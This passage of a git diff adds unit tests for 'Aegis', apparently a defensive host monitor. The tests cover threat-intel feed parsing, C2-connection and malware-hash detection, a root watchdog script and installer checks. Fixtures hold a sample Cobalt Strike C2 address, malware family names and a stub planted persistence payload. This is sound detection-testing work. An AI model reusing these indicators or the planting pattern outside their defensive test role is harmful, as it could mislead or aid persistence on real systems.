--------------------------------------------------------------------------- # +# Community IOC intel (`aegis.py intel …`) — the opt-in, by-hand feed layer. +# Doctrine mirror of the vt tests above: `intel update` is the only half that +# may touch the network (stubbed here, both feed formats exercised from +# fixtures), and the scan path only ever GRADES the local copy — proven +# structurally by running a full scan with the transport booby-trapped to +# explode. No intel fetched ⇒ the surface is absent, never degraded. +# --------------------------------------------------------------------------- # +class TestIntelFeeds(Sandbox): + SHA_BAZAAR = "11" * 32 + SHA_TF = "33" * 32 + C2 = "185.10.9.3:4444" + + def _bazaar_text(self, sha=None): + sha = sha or self.SHA_BAZAAR + return ( + "################################################################\n" + "# MalwareBazaar recent malware samples (SHA256 hashes) #\n" + "# Last updated: 2026-08-11 13:43:48 UTC #\n" + "################################################################\n" + "#\n" + "# sha256_hash\n" + + sha + "\n" + + "not-a-hash\n" + + sha.upper() + "\n" # duplicate (case-folded) → one entry + + "22" * 32 + "\n") + + def _threatfox_json(self, sha=None, c2=None): + """The real export shape: dict of id → list of IOC rows, plus garbage + groups/rows that must be skipped, never raised on.""" + sha = sha or self.SHA_TF + return json.dumps({ + "1872298": [{ + "ioc_value": c2 or self.C2, "ioc_type": "ip:port", + "threat_type": "botnet_cc", "malware": "win.cobalt_strike", + "malware_printable": "Cobalt Strike", + "first_seen_utc": "2026-08-01 00:00:00", + "confidence_level": 100}], + "1872299": [{ + "ioc_value": "j4lpcxth.en-us-slimsounds.example", + "ioc_type": "domain", "malware_printable": "ClearFake", + "first_seen_utc": "2026-08-11 14:08:51"}], + "1872300": [{ + "ioc_value": sha, "ioc_type": "sha256_hash", + "malware_printable": "AMOS", + "first_seen_utc": "2026-08-02 12:00:00"}], + "1872301": ["garbage", 42, {"ioc_value": 5, "ioc_type": "ip:port"}], + "1872302": "not-a-list", + }) + + def _stub_transport(self, mapping): + """Route urlopen by URL fragment to fixture bytes or an exception.""" + import urllib.request + + def fake_urlopen(req, timeout=0): + url = getattr(req, "full_url", req) + for frag, payload in mapping.items(): + if frag in url: + if isinstance(payload, Exception): + raise payload + return _FakeFeedResp(payload) + raise AssertionError("unexpected fetch: %s" % url) + + saved = urllib.request.urlopen + urllib.request.urlopen = fake_urlopen + self.addCleanup(setattr, urllib.request, "urlopen", saved) + + def _write_intel(self, hashes_list=(), tf_hashes=None, tf_net=None, + bazaar_fetched=None, tf_fetched=None): + aegis.save_json(aegis.INTEL_BAZAAR_FILE, { + "feed": "MalwareBazaar", "fetched_at": bazaar_fetched or + aegis.now_iso(), "count": len(hashes_list), + "hashes": list(hashes_list)}) + aegis.save_json(aegis.INTEL_THREATFOX_FILE, { + "feed": "ThreatFox", "fetched_at": tf_fetched or aegis.now_iso(), + "hashes": tf_hashes or {}, "net": tf_net or {}}) + + # --- intel update (by-hand fetch; transport always stubbed) ----------- + def test_update_parses_both_feed_formats(self): + self._stub_transport({ + "bazaar.abuse.ch": self._bazaar_text().encode(), + "threatfox.abuse.ch": self._threatfox_json().encode()}) + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + self.assertEqual(aegis.cmd_intel("update"), 0) + bz = aegis.load_json(aegis.INTEL_BAZAAR_FILE, None) + self.assertIn(self.SHA_BAZAAR, bz["hashes"]) + self.assertNotIn("not-a-hash", bz["hashes"]) + self.assertEqual(bz["hashes"].count(self.SHA_BAZAAR), 1, + "duplicate hashes must be folded to one entry") + self.assertTrue(bz.get("fetched_at")) + tf = aegis.load_json(aegis.INTEL_THREATFOX_FILE, None) + self.assertEqual(tf["hashes"][self.SHA_TF]["family"], "AMOS") + self.assertEqual(tf["net"][self.C2]["family"], "Cobalt Strike") + self.assertEqual(tf["net"][self.C2]["first_seen"], + "2026-08-01 00:00:00") + # Privacy posture: hashes and ip:ports only — the feed's domains/URLs + # are never written to disk. + self.assertNotIn("slimsounds", json.dumps(tf)) + if os.name == "posix": + for p in (aegis.INTEL_BAZAAR_FILE, aegis.INTEL_THREATFOX_FILE): + self.assertEqual(os.stat(p).st_mode & 0o777, 0o600) + + def test_update_failure_keeps_prior_data_and_says_so(self): + self._write_intel(hashes_list=[self.SHA_BAZAAR], + tf_net={self.C2: {"family": "Cobalt Strike", + "first_seen": None}}) + self._stub_transport({"abuse.ch": OSError("connection refused")}) + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + self.assertEqual(aegis.cmd_intel("update"), 1) + self.assertIn("prior", buf.getvalue().lower()) + bz = aegis.load_json(aegis.INTEL_BAZAAR_FILE, None) + self.assertEqual(bz["hashes"], [self.SHA_BAZAAR], + "a failed fetch must never clobber the prior copy") + tf = aegis.load_json(aegis.INTEL_THREATFOX_FILE, None) + self.assertIn(self.C2, tf["net"]) + + def test_garbage_feed_data_never_raises(self): + # Bytes that are neither valid text-export nor JSON must fail SOFT: + # non-zero exit, message, no artifact written. + self._stub_transport({"abuse.ch": b"\x00\xffgarbage{{{"}) + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + self.assertEqual(aegis.cmd_intel("update"), 1) + self.assertFalse(os.path.exists(aegis.INTEL_BAZAAR_FILE)) + self.assertFalse(os.path.exists(aegis.INTEL_THREATFOX_FILE)) + # And the pure parsers never raise on hostile shapes. + self.assertEqual(aegis._parse_bazaar_sha256_export("#c\nzz\n\n"), []) + self.assertEqual(aegis._parse_threatfox_export(["x", 42, None]), + ({}, {})) + self.assertEqual( + aegis._parse_threatfox_export( + {"1": ["y", {"ioc_value": 5, "ioc_type": "ip:port"}], + "2": "zz", "3": None}), + ({}, {})) + self.assertEqual(aegis._parse_threatfox_export("a string"), ({}, {})) + + def test_bad_action_prints_usage(self): + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + self.assertEqual(aegis.cmd_intel("bogus"), 1) + self.assertIn("usage", buf.getvalue()) + + # --- scan-path grading (offline, read-only) ---------------------------- + def _plant_payload_and_persistence(self): + payload = os.path.join(self.tmp, "payload.sh") + with open(payload, "w") as f: + f.write("#!/bin/sh\necho evil\n") + rec = aegis._finish_persist_record( + aegis._persist_record(label="com.evil.updater"), payload, [payload]) + saved = aegis.snapshot_persistence + aegis.snapshot_persistence = lambda: {"launchd:" + payload: rec} + self.addCleanup(setattr, aegis, "snapshot_persistence", saved) + return payload, aegis.sha256(payload) + + def _booby_trap_network(self): + """The structural guarantee, enforced: ANY python-level network use + during the scan raises straight through the test.""" + import socket + import urllib.request + + def boom(*a, **k): + raise AssertionError("the scan path touched the network") + + for mod, attr in ((urllib.request, "urlopen"), + (socket, "create_connection"), + (socket, "getaddrinfo")): + saved = getattr(mod, attr) + setattr(mod, attr, boom) + self.addCleanup(setattr, mod, attr, saved) + + def test_scan_with_intel_present_never_touches_network_and_flags_hash(self): + payload, sha = self._plant_payload_and_persistence() + self._write_intel(hashes_list=[sha], + tf_hashes={sha: {"family": "AMOS", + "first_seen": "2026-08-02 12:00:00"}}) + self._booby_trap_network() + aegis.cmd_scan(quiet=True) # must complete — no urlopen, no sockets + latest = aegis.load_json(aegis.LATEST_JSON, {}) + hits = [f for f in latest.get("findings", []) + if f["category"] == "intel"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0]["severity"], "CRITICAL") + self.assertIn("Known-malware hash", hits[0]["title"]) + self.assertEqual(hits[0].get("sha256"), sha) + self.assertIn("AMOS", hits[0]["detail"]) + self.assertIn("first seen", hits[0]["detail"]) + + def test_scan_with_non_matching_intel_stays_silent(self): + self._plant_payload_and_persistence() + self._write_intel(hashes_list=["44" * 32], + tf_hashes={"55" * 32: {"family": "X", + "first_seen": None}}) + self._booby_trap_network() + aegis.cmd_scan(quiet=True) + latest = aegis.load_json(aegis.LATEST_JSON, {}) + self.assertEqual([f for f in latest.get("findings", []) + if f["category"] == "intel"], []) + + def test_no_intel_files_means_surface_absent_not_degraded(self): + self._plant_payload_and_persistence() + self._booby_trap_network() + aegis.cmd_scan(quiet=True) + latest = aegis.load_json(aegis.LATEST_JSON, {}) + self.assertEqual([f for f in latest.get("findings", []) + if f["category"] == "intel"], []) + self.assertNotIn("intel", [h["sensor_id"] + for h in aegis.get_sensor_health()], + "no intel ⇒ no sensor row at all (absent, not " + "degraded)") + + def test_findings_carrying_sha256_are_graded(self): + # The hot-dir/app-bundle route: any finding that already carries a + # sha256 is graded without re-hashing anything. + sha = "55" * 32 + self._write_intel(tf_hashes={sha: {"family": "AMOS", + "first_seen": None}}) + prior = [aegis.finding( + "HIGH", "hot-dir", "Unsigned executable in watched folder", + "detail", "fp1", sha256=sha, path="/x/y")] + fs = aegis.check_intel({}, prior) + self.assertEqual(len(fs), 1) + self.assertEqual(fs[0]["severity"], "CRITICAL") + self.assertIn("ThreatFox", fs[0]["detail"]) + # Robustness: malformed records and findings grade to nothing. + self.assertEqual( + aegis.check_intel({"k": "notadict", "j": {"sha256": None}}, + [{}, "x"]), []) + + def test_outbound_connection_to_known_c2_is_critical(self): + self._write_intel(tf_net={self.C2: {"family": "Cobalt Strike", + "first_seen": "2026-08-01"}}) + saved = aegis._outbound_rows + aegis._outbound_rows = lambda: [("/Users/me/payload", + "185.10.9.3", "4444")] + self.addCleanup(setattr, aegis, "_outbound_rows", saved) + fs = [f for f in aegis.check_outbound() if f["category"] == "intel"] + self.assertEqual(len(fs), 1) + self.assertEqual(fs[0]["severity"], "CRITICAL") + self.assertIn("Cobalt Strike", fs[0]["detail"]) + self.assertEqual(fs[0].get("remote"), "185.10.9.3") + self.assertEqual(fs[0].get("port"), "4444") + # Control: a non-listed endpoint produces no intel finding. + aegis._outbound_rows = lambda: [("/Users/me/payload", "8.8.8.8", + "443")] + self.assertEqual([f for f in aegis.check_outbound() + if f["category"] == "intel"], []) + + # --- intel status ------------------------------------------------------- + def test_status_reports_ages_counts_and_stale(self): + stale_ts = time.strftime("%Y-%m-%dT%H:%M:%S+00:00", + time.gmtime(time.time() - 10 * 86400)) + self._write_intel(hashes_list=["22" * 32], bazaar_fetched=stale_ts, + tf_net={self.C2: {"family": "Cobalt Strike", + "first_seen": None}}) + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + self.assertEqual(aegis.cmd_intel("status"), 0) + out = buf.getvalue() + for line in out.splitlines(): + if "MalwareBazaar" in line: + self.assertIn("STALE", line) + self.assertIn("1 ", line) # entry count is reported + if "ThreatFox" in line: + self.assertNotIn("STALE", line) + + def test_status_with_nothing_fetched_explains_opt_in(self): + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + self.assertEqual(aegis.cmd_intel(), 0) # default action = status + out = buf.getvalue() + self.assertIn("not fetched", out) + self.assertIn("intel update", out) + + # --------------------------------------------------------------------------- # # install.sh smoke test — the installer had two CRITICAL bugs with zero coverage: # F0 an unescaped '&' from a "…/Work & Projects/…" path → invalid plist XML → @@ -2348,6 +2766,48 @@ def test_watch_mode_valid_keepalive_and_copy(self): self.assertTrue(d.get("KeepAlive")) self.assertNotIn("StartInterval", d) + # The README says `bash install.sh` and `aegis.py install` "do the same + # thing" on macOS. They did not: the Python port dropped the four resource + # keys install.sh has always written, so anyone following the cross-platform + # path — including the refresh line `update-check` prints — got a monitor + # with no niceness, no low-priority IO, and (in watch mode) no bound on + # KeepAlive respawn. Asserting PARITY rather than a hardcoded list is the + # point: whichever installer gains a resource key, the other must match. + _RESOURCE_KEYS = ("ProcessType", "LowPriorityIO", "Nice", "ThrottleInterval") + + def _install_py(self, *args): + env = dict(os.environ) + env["HOME"] = self.home + env["PATH"] = self.bin + os.pathsep + env["PATH"] + env["AEGIS_TESTING"] = "1" + env["AEGIS_TEST_LAUNCHCTL"] = os.path.join(self.bin, "launchctl") + r = subprocess.run([sys.executable, os.path.join(self.repo, "aegis.py"), + "install", *args], + env=env, capture_output=True, text=True) + self.assertEqual(r.returncode, 0, r.stdout + r.stderr) + plist = os.path.join(self.home, + "Library/LaunchAgents/com.charlie.aegis.plist") + lint = subprocess.run(["plutil", "-lint", plist], + capture_output=True, text=True) + self.assertIn("OK", lint.stdout, lint.stdout + lint.stderr) + with open(plist, "rb") as f: + return plistlib.load(f) + + def test_both_installers_agree_on_the_resource_keys(self): + sh = self._install("3600") + py = self._install_py("3600") + for key in self._RESOURCE_KEYS: + with self.subTest(key=key): + self.assertIn(key, sh, "install.sh lost %s" % key) + self.assertIn(key, py, "aegis.py install lost %s" % key) + self.assertEqual(sh[key], py[key], + "%s differs between the two installers" % key) + + def test_python_installer_throttles_keepalive_respawn(self): + py = self._install_py("watch", "600") + self.assertTrue(py.get("KeepAlive")) + self.assertEqual(py.get("ThrottleInterval"), 30) + def test_rejects_non_numeric_interval(self): env = dict(os.environ) env["HOME"] = self.home diff --git a/tests/test_research_layers.py b/tests/test_research_layers.py index f1b172e..91b5b35 100644 --- a/tests/test_research_layers.py +++ b/tests/test_research_layers.py @@ -489,6 +489,27 @@ def test_known_benign_causes_surface_for_the_incident(self): self.assertTrue(notes) self.assertTrue(any("persistence" in n for n in notes)) + def test_every_benign_note_is_keyed_on_a_reachable_category(self): + """_benign_note_for does an EXACT dict lookup on the finding category, + so a note keyed on a SURFACE id instead is dead code that renders for + nobody. Three were: "browserext", "ide_ext" and "wallet" — the surface + ids — while the categories those sensors actually emit are + "browser-ext", "ide-ext" and "wallet-integrity". The two extension + surfaces are the most false-positive-prone ones in the tool, so the + notes that never rendered were exactly the notes triage needed most. + + Pinned per-category rather than by scraping finding() call sites: the + categories are also emitted from multi-line calls with a variable + severity, which no source regex reads reliably. + """ + for category in ("browser-ext", "ide-ext", "wallet-integrity"): + with self.subTest(category=category): + inc = self._one_incident(category=category) + notes = aegis._benign_note_for(aegis.incident_detail(inc)) + self.assertTrue( + any(category in n for n in notes), + "no benign-cause note rendered for %r" % category) + def test_chronically_dismissed_sensor_is_down_weighted(self): now = int(time.time()) db = aegis._event_connection() diff --git a/tests/test_rootwatch.py b/tests/test_rootwatch.py new file mode 100644 index 0000000..e69e749 --- /dev/null +++ b/tests/test_rootwatch.py @@ -0,0 +1,388 @@ +#!/usr/bin/env python3 +"""Rootwatch (opt-in ROOT witness) — tests-first coverage for the kill gap. + +A same-uid attacker can kill Aegis AND the user-level watchdog agent in one +sweep; the notary only makes that evident later. `rootwatch` is the opt-in +answer: a tiny root-owned script on a root schedule that alerts within +minutes. These tests pin its whole contract: + + * the generated privileged script stays small enough to audit in one glance + (the smallness IS the security argument), imports only the stated stdlib + modules, and is executed for REAL (as the test user) against a fake + heartbeat dir — fresh beat exits 0 silently, stale/missing beat appends a + durable alert line, attempts the user notification (osascript/notify-send + stubbed via PATH), and NEVER writes into the user's ~/.aegis surrogate; + * the generated LaunchDaemon plist passes `plutil -lint` (macOS) and the + systemd system units have the right Linux shape; + * `rootwatch install` WITHOUT root provably mutates nothing and prints + exactly one pasteable sudo line — Aegis never self-elevates. + +Fully sandboxed like the rest of the suite: every ROOTWATCH_* path is +redirected into a per-test tmp dir; nothing here touches real /Library, +/etc, /var or ~/.aegis, and no real launchctl/systemctl/sudo ever runs. +""" +import contextlib +import io +import json +import os +import plistlib +import shutil +import subprocess +import sys +import tempfile +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +import aegis # noqa: E402 + +IS_POSIX = os.name == "posix" + +# Modules the privileged script is allowed to import — the audit budget the +# task and the script's own header comment both promise. +_ALLOWED_IMPORTS = {"json", "os", "subprocess", "sys", "time"} +_LINE_BUDGET = 60 + + +def _inventory(root): + """Names + sizes of everything under root — before/after mutation proof.""" + inv = {} + for base, dirs, files in os.walk(root): + for n in dirs: + inv[os.path.join(base, n)] = "dir" + for n in files: + p = os.path.join(base, n) + try: + inv[p] = os.stat(p).st_size + except OSError: + inv[p] = "unstattable" + return inv + + +def _imported_names(text): + names = set() + for line in text.splitlines(): + line = line.strip() + if line.startswith("import "): + for tok in line[len("import "):].split(","): + names.add(tok.strip().split(" as ")[0].split(".")[0]) + elif line.startswith("from "): + names.add(line.split()[1].split(".")[0]) + return names + + +class RootwatchSandbox(unittest.TestCase): + """Redirect every ROOTWATCH_* path (and STATE_DIR) into a throwaway tmp.""" + + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="aegis_rw_") + # '&' in the log path exercises the plist XML-escape, the same F0 + # class the installer tests pin. + self.rootdir = os.path.join(self.tmp, "r & oot") + self._saved = {} + overrides = { + "ROOTWATCH_SCRIPT": os.path.join(self.rootdir, "libexec", + "aegis-rootwatch.py"), + "ROOTWATCH_PLIST": os.path.join(self.rootdir, "LaunchDaemons", + "com.aegis.rootwatch.plist"), + "ROOTWATCH_UNIT_DIR": os.path.join(self.rootdir, "systemd"), + "ROOTWATCH_LOG": os.path.join(self.rootdir, "Aegis", + "rootwatch.log"), + # NOT created: the non-root paths must never call ensure_state(). + "STATE_DIR": os.path.join(self.tmp, ".aegis"), + } + for name, val in overrides.items(): + self._saved[name] = getattr(aegis, name) + setattr(aegis, name, val) + # No real launchctl/systemctl query ever runs from these tests. + self._saved_run = aegis.run + aegis.run = lambda cmd, timeout=15, extra_env=None: ("", "", 3) + + def tearDown(self): + aegis.run = self._saved_run + for name, val in self._saved.items(): + setattr(aegis, name, val) + shutil.rmtree(self.tmp, ignore_errors=True) + + +# --------------------------------------------------------------------------- # +# The generated privileged script: shape and audit budget. +# --------------------------------------------------------------------------- # +class TestRootwatchScriptShape(unittest.TestCase): + def _text(self, mac): + return aegis._rootwatch_script_text( + "/home/u/.aegis/heartbeat.json", 501, + "/var/log/aegis/rootwatch.log", mac=mac) + + def test_script_fits_the_audit_budget(self): + for mac in (True, False): + text = self._text(mac) + self.assertLessEqual( + len(text.splitlines()), _LINE_BUDGET, + "the privileged script must stay auditable in one glance " + "(<= %d lines); it is the ONLY thing Aegis runs as root" + % _LINE_BUDGET) + compile(text, "aegis-rootwatch.py", "exec") # valid python + + def test_script_imports_only_the_stated_stdlib(self): + for mac in (True, False): + extra = _imported_names(self._text(mac)) - _ALLOWED_IMPORTS + self.assertFalse( + extra, "unexpected imports in the ROOT script: %s" % extra) + + def test_script_bakes_paths_uid_and_watchdog_tolerance(self): + text = self._text(mac=True) + self.assertIn("/home/u/.aegis/heartbeat.json", text) + self.assertIn("501", text) + self.assertIn("/var/log/aegis/rootwatch.log", text) + # Reuses cmd_watchdog's tolerance, not a second ad-hoc number. + self.assertIn(str(aegis.HEARTBEAT_STALE_SECS), text) + + +# --------------------------------------------------------------------------- # +# The generated LaunchDaemon plist (macOS) and systemd system units (Linux). +# --------------------------------------------------------------------------- # +@unittest.skipUnless(aegis.IS_MAC, "plutil is macOS-only; the Linux unit " + "shape is covered below on every platform") +class TestRootwatchPlist(RootwatchSandbox): + def test_plist_lints_and_targets_root_owned_paths(self): + text = aegis._rootwatch_plist_text() + path = os.path.join(self.tmp, "com.aegis.rootwatch.plist") + with open(path, "w", encoding="utf-8") as f: + f.write(text) + lint = subprocess.run(["plutil", "-lint", path], + capture_output=True, text=True) + self.assertIn("OK", lint.stdout, lint.stdout + lint.stderr) + with open(path, "rb") as f: + d = plistlib.load(f) + self.assertEqual(d["Label"], "com.aegis.rootwatch") + # A root daemon must run the root-owned system interpreter and the + # root-owned script — never a venv python or a $HOME path. + self.assertEqual(d["ProgramArguments"], + [aegis.ROOTWATCH_PY, aegis.ROOTWATCH_SCRIPT]) + self.assertEqual(d["StartInterval"], aegis.ROOTWATCH_INTERVAL) + self.assertTrue(d.get("RunAtLoad")) + + +class TestRootwatchUnits(RootwatchSandbox): + def test_linux_units_have_system_timer_shape(self): + service, timer = aegis._rootwatch_unit_texts() + self.assertIn("Type=oneshot", service) + self.assertIn('ExecStart="%s" "%s"' + % (aegis.ROOTWATCH_PY, aegis.ROOTWATCH_SCRIPT), service) + self.assertIn("OnUnitActiveSec=%ds" % aegis.ROOTWATCH_INTERVAL, timer) + self.assertIn("Persistent=true", timer) + self.assertIn("WantedBy=timers.target", timer) + + +# --------------------------------------------------------------------------- # +# The GENERATED script, executed for real against a fake heartbeat dir. +# --------------------------------------------------------------------------- # +@unittest.skipUnless(IS_POSIX, "executes the generated script with /bin/sh " + "PATH stubs for launchctl/osascript/notify-send") +class TestRootwatchScriptExecution(unittest.TestCase): + UID = 501 + + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="aegis_rwx_") + self.aegis_dir = os.path.join(self.tmp, "home", ".aegis") + os.makedirs(self.aegis_dir) + self.hb = os.path.join(self.aegis_dir, "heartbeat.json") + self.log = os.path.join(self.tmp, "rootlog", "rootwatch.log") + self.calls = os.path.join(self.tmp, "calls.log") + self.bin = os.path.join(self.tmp, "bin") + os.makedirs(self.bin) + for name in ("launchctl", "osascript", "logger", "notify-send", "wall"): + stub = os.path.join(self.bin, name) + with open(stub, "w") as f: + f.write('#!/bin/sh\necho "%s $@" >> "%s"\nexit 0\n' + % (name, self.calls)) + os.chmod(stub, 0o755) + + def tearDown(self): + shutil.rmtree(self.tmp, ignore_errors=True) + + def _run(self, mac, beat_epoch="absent"): + if beat_epoch != "absent": + with open(self.hb, "w") as f: + json.dump({"epoch": beat_epoch, "pid": 1234}, f) + script = os.path.join(self.tmp, "aegis-rootwatch.py") + with open(script, "w", encoding="utf-8") as f: + f.write(aegis._rootwatch_script_text(self.hb, self.UID, self.log, + mac=mac)) + before = _inventory(self.aegis_dir) + r = subprocess.run( + [sys.executable, script], capture_output=True, text=True, + timeout=60, env={"PATH": self.bin, "HOME": self.tmp}) + # The doctrine the script's header states: it NEVER writes into the + # user's ~/.aegis (root-owned files there would break Aegis's own + # atomic-replace assumptions). + self.assertEqual(before, _inventory(self.aegis_dir), + "the ROOT script wrote into the user's state dir") + return r + + def _stub_calls(self): + if not os.path.exists(self.calls): + return "" + with open(self.calls) as f: + return f.read() + + def test_fresh_beat_exits_zero_silently(self): + r = self._run(mac=True, beat_epoch=int(time.time())) + self.assertEqual(r.returncode, 0, r.stderr) + self.assertEqual(r.stdout, "") + self.assertEqual(r.stderr, "") + self.assertFalse(os.path.exists(self.log), "healthy => no alert line") + self.assertEqual(self._stub_calls(), "", "healthy => no notification") + + def test_stale_beat_alerts_and_notifies_mac_shape(self): + stale = int(time.time()) - aegis.HEARTBEAT_STALE_SECS - 600 + r = self._run(mac=True, beat_epoch=stale) + self.assertNotEqual(r.returncode, 0) + with open(self.log) as f: + line = f.read() + self.assertIn("NOT beating", line) + calls = self._stub_calls() + self.assertIn("launchctl asuser %d osascript" % self.UID, calls) + self.assertIn("logger", calls) + + def test_stale_beat_notifies_linux_shape(self): + stale = int(time.time()) - aegis.HEARTBEAT_STALE_SECS - 600 + r = self._run(mac=False, beat_epoch=stale) + self.assertNotEqual(r.returncode, 0) + calls = self._stub_calls() + self.assertIn("notify-send", calls) + self.assertIn("wall", calls) + self.assertIn("logger", calls) + + def test_missing_beat_is_stale_not_healthy(self): + r = self._run(mac=True, beat_epoch="absent") + self.assertNotEqual( + r.returncode, 0, + "a WIPED ~/.aegis must read as a dead monitor, not a healthy one " + "(the same suppression cmd_watchdog's `armed` logic closes)") + with open(self.log) as f: + self.assertIn("NOT beating", f.read()) + + +# --------------------------------------------------------------------------- # +# `rootwatch` without root: zero mutation, one pasteable line. And status / +# doctor never need root. +# --------------------------------------------------------------------------- # +@unittest.skipUnless(IS_POSIX and os.geteuid() != 0, + "needs an unprivileged POSIX user") +class TestRootwatchNonRoot(RootwatchSandbox): + def _call(self, action): + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + rc = aegis.cmd_rootwatch(action) + return rc, buf.getvalue() + + def test_nonroot_install_mutates_nothing_and_prints_one_pasteable(self): + before = _inventory(self.tmp) + rc, out = self._call("install") + self.assertEqual(rc, 2) + sudo_lines = [l for l in out.splitlines() + if l.strip().startswith("sudo ")] + self.assertEqual(len(sudo_lines), 1, + "exactly ONE pasteable line:\n%s" % out) + self.assertIn("rootwatch install", sudo_lines[0]) + # Paths are quoted (this repo lives under "Work & Projects"). + self.assertIn('"%s"' % aegis._SELF_PATH, sudo_lines[0]) + self.assertEqual(before, _inventory(self.tmp), + "non-root install must perform ZERO mutation") + self.assertFalse(os.path.exists(aegis.STATE_DIR), + "non-root install must not even create state") + + def test_nonroot_uninstall_also_only_prints_the_line(self): + before = _inventory(self.tmp) + rc, out = self._call("uninstall") + self.assertEqual(rc, 2) + self.assertEqual( + len([l for l in out.splitlines() + if l.strip().startswith("sudo ")]), 1) + self.assertEqual(before, _inventory(self.tmp)) + + def test_status_reports_absent_without_root_or_mutation(self): + before = _inventory(self.tmp) + rc, out = self._call("status") + self.assertEqual(rc, 0) + self.assertIn("absent", out) + self.assertIn("kill gap", out) + self.assertEqual(before, _inventory(self.tmp)) + + def test_status_reports_installed_pieces(self): + for p in (aegis.ROOTWATCH_SCRIPT, + aegis.ROOTWATCH_PLIST if aegis.IS_MAC else + os.path.join(aegis.ROOTWATCH_UNIT_DIR, + "aegis-rootwatch.timer")): + os.makedirs(os.path.dirname(p), exist_ok=True) + with open(p, "w") as f: + f.write("x") + self.assertTrue(aegis._rootwatch_installed()) + rc, out = self._call("status") + self.assertEqual(rc, 0) + self.assertIn("installed", out) + + def test_bad_action_prints_usage(self): + rc, out = self._call("bogus") + self.assertEqual(rc, 1) + self.assertIn("usage", out) + + +class TestRootwatchWindowsHonesty(unittest.TestCase): + def test_windows_says_future_work_and_refuses(self): + saved = (aegis.IS_MAC, aegis.IS_LINUX, aegis.IS_WIN) + aegis.IS_MAC, aegis.IS_LINUX, aegis.IS_WIN = False, False, True + try: + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + rc = aegis.cmd_rootwatch("install") + self.assertEqual(rc, 2) + self.assertIn("future work", buf.getvalue()) + self.assertFalse(aegis._rootwatch_installed()) + finally: + aegis.IS_MAC, aegis.IS_LINUX, aegis.IS_WIN = saved + + +# --------------------------------------------------------------------------- # +# Doctor tie-in: absence is INFO ("the kill gap is open"), never a problem. +# --------------------------------------------------------------------------- # +@unittest.skipUnless(IS_POSIX, "the rootwatch doctor line is absent on " + "Windows, where rootwatch is not built") +class TestRootwatchDoctorLine(RootwatchSandbox): + def _doctor(self): + saved = (aegis.get_sensor_health, aegis.list_incidents, aegis.EVENT_DB) + aegis.get_sensor_health = lambda: [] + aegis.list_incidents = lambda: [] + aegis.EVENT_DB = os.path.join(self.tmp, ".aegis", "aegis.db") + try: + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + rc = aegis.cmd_doctor() + return rc, buf.getvalue() + finally: + (aegis.get_sensor_health, aegis.list_incidents, + aegis.EVENT_DB) = saved + + def test_absent_is_one_info_line_and_never_degrades(self): + rc_absent, out = self._doctor() + self.assertIn("kill gap is open", out) + self.assertIn("rootwatch install", out) + # Install the artifacts; the doctor verdict must not change — the + # rootwatch line is INFO for an opt-in, not a problem. + for p in (aegis.ROOTWATCH_SCRIPT, + aegis.ROOTWATCH_PLIST if aegis.IS_MAC else + os.path.join(aegis.ROOTWATCH_UNIT_DIR, + "aegis-rootwatch.timer")): + os.makedirs(os.path.dirname(p), exist_ok=True) + with open(p, "w") as f: + f.write("x") + rc_installed, out2 = self._doctor() + self.assertNotIn("kill gap is open", out2) + self.assertEqual(rc_absent, rc_installed, + "rootwatch presence must not change the verdict") + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_setup_updatecheck.py b/tests/test_setup_updatecheck.py new file mode 100644 index 0000000..3b0e77b --- /dev/null +++ b/tests/test_setup_updatecheck.py @@ -0,0 +1,408 @@ +#!/usr/bin/env python3 +"""Regression suite for `setup` (the guided opt-in walkthrough) and +`update-check` (runtime-copy drift detection). + +Same contract as the rest of the suite: stdlib only, fully sandboxed (every +~/.aegis path is redirected into a per-test tmp dir), never fires a +notification, never makes a network call (urlopen is stubbed), and never +touches the developer's real state. + +Each test is named for the property it pins and would FAIL against code that +did not have it. The two properties that matter most: + +- `setup` ORCHESTRATES the existing commands — a yes to canary must produce + exactly what `aegis.py canary` produces, proven on the artifacts (the + planted file and its recorded hash), not on a print string. +- `update-check` exists because the README's "re-run install.sh after editing + aegis.py" is a warning nobody re-reads: the runtime copy at + ~/.aegis/aegis.py silently forks from the repo on every edit, and until now + nothing could detect it. +""" +import contextlib +import hashlib +import io +import json +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +import aegis # noqa: E402 + + +def _inventory(root): + """Every file under `root` with content hash AND mtime: 'mutates nothing' + means no file appeared, vanished, changed content, or was rewritten.""" + out = {} + for dirpath, _dirs, files in os.walk(root): + for name in files: + p = os.path.join(dirpath, name) + try: + with open(p, "rb") as f: + digest = hashlib.sha256(f.read()).hexdigest() + out[os.path.relpath(p, root)] = (digest, + os.stat(p).st_mtime_ns) + except OSError: + continue + return out + + +class SetupSandbox(unittest.TestCase): + """Redirect every state path setup/update-check can touch.""" + + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="aegis_setup_") + self.state = os.path.join(self.tmp, ".aegis") + self.canarydir = os.path.join(self.tmp, "Documents") + os.makedirs(self.state) + os.makedirs(self.canarydir) + self._saved = {} + overrides = { + "STATE_DIR": self.state, + "SELFSTATE": os.path.join(self.state, "selfstate.json"), + "CANARY_STATE": os.path.join(self.state, "canaries.json"), + "CANARY_DIRS": [self.canarydir], + "LATCH_FILE": os.path.join(self.state, "latches.json"), + "DECOY_FILE": os.path.join(self.state, "decoys.json"), + "GUARD_DIR": os.path.join(self.state, "guard"), + "GUARD_LOG": os.path.join(self.state, "guard", + "observations.jsonl"), + "AEGIS_CONFIG": os.path.join(self.state, "config.json"), + "HEARTBEAT_FILE": os.path.join(self.state, "heartbeat.json"), + "ACTION_LOG": os.path.join(self.state, "actions.jsonl"), + "RUN_LOG": os.path.join(self.state, "run.log"), + "BASELINE": os.path.join(self.state, "baseline.json"), + "ALLOWLIST": os.path.join(self.state, "allowlist.json"), + "EVENT_DB": os.path.join(self.state, "aegis.db"), + "RUNTIME_SCRIPT": 